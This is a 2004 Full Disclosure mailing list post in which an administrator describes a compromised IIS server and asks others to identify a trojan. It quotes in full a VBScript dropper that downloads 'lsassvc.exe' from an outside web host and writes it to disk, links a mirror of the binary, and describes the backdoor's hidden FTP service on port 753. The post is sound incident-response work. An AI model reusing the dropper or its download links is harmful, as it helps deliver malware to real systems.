Full Disclosure mailing list archives
Need help to identify a trojan
From: "Maxime Ducharme" <mducharme () cybergeneration com>
Date: Fri, 9 Jul 2004 09:34:27 -0400
Hi to the list, one of our customer's servers have been compromised and I'd need help to identify trojan used. Here is the server's setup : - Windows 2000 OS (2 updates missing, KB870669 and KB839643) - IIS 5.0 running with ASP applications - Serv-U FTP Server v4.0 - not firewalled ... :( I first found a file named "blabla.vbs" in C:\ which contains this script : Set xPost = CreateObject("Microsoft.XMLHTTP") xPost.Open "GET","http://www.angelfire.com/comics/mumucake/lsassvc.exe",0 xPost.Send() Set sGet = CreateObject("ADODB.Stream") sGet.Mode = 3 sGet.Type = 1 sGet.Open() sGet.Write(xPost.responseBody) sGet.SaveToFile "lsassvc.exe",2 The lsassvc.exe is still on angelfire's web server, and I mirrored it here : http://www.cybergeneration.com/security/2004.07.08/lsassvc.ex_ This file is bound to TCP port 753, and a connection on this port output this : 220 jsdaus Microsoft FTP Service (Version 5.0) Looks like a "special" FTP service. The program answers my "USER" and "PASS" commands :
USER test
< 331 Password required for test.
PASS test
< 530 Login incorrect. It is also bound on a service name "Local Security Authority Service System". Norton says this file is not infected, but it looks really suspicious, we already shut down the server for analysis. It has been used for scanning. Other hack tools have been found under C:\RECYCLER\speedy. I'd like to know which kind of trojan it is, and if it has self-propagating behavior like some Ago-Gaobot. Thx for any help Maxime Ducharme Programmeur / Spécialiste en sécurité réseau _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- Need help to identify a trojan Maxime Ducharme (Jul 09)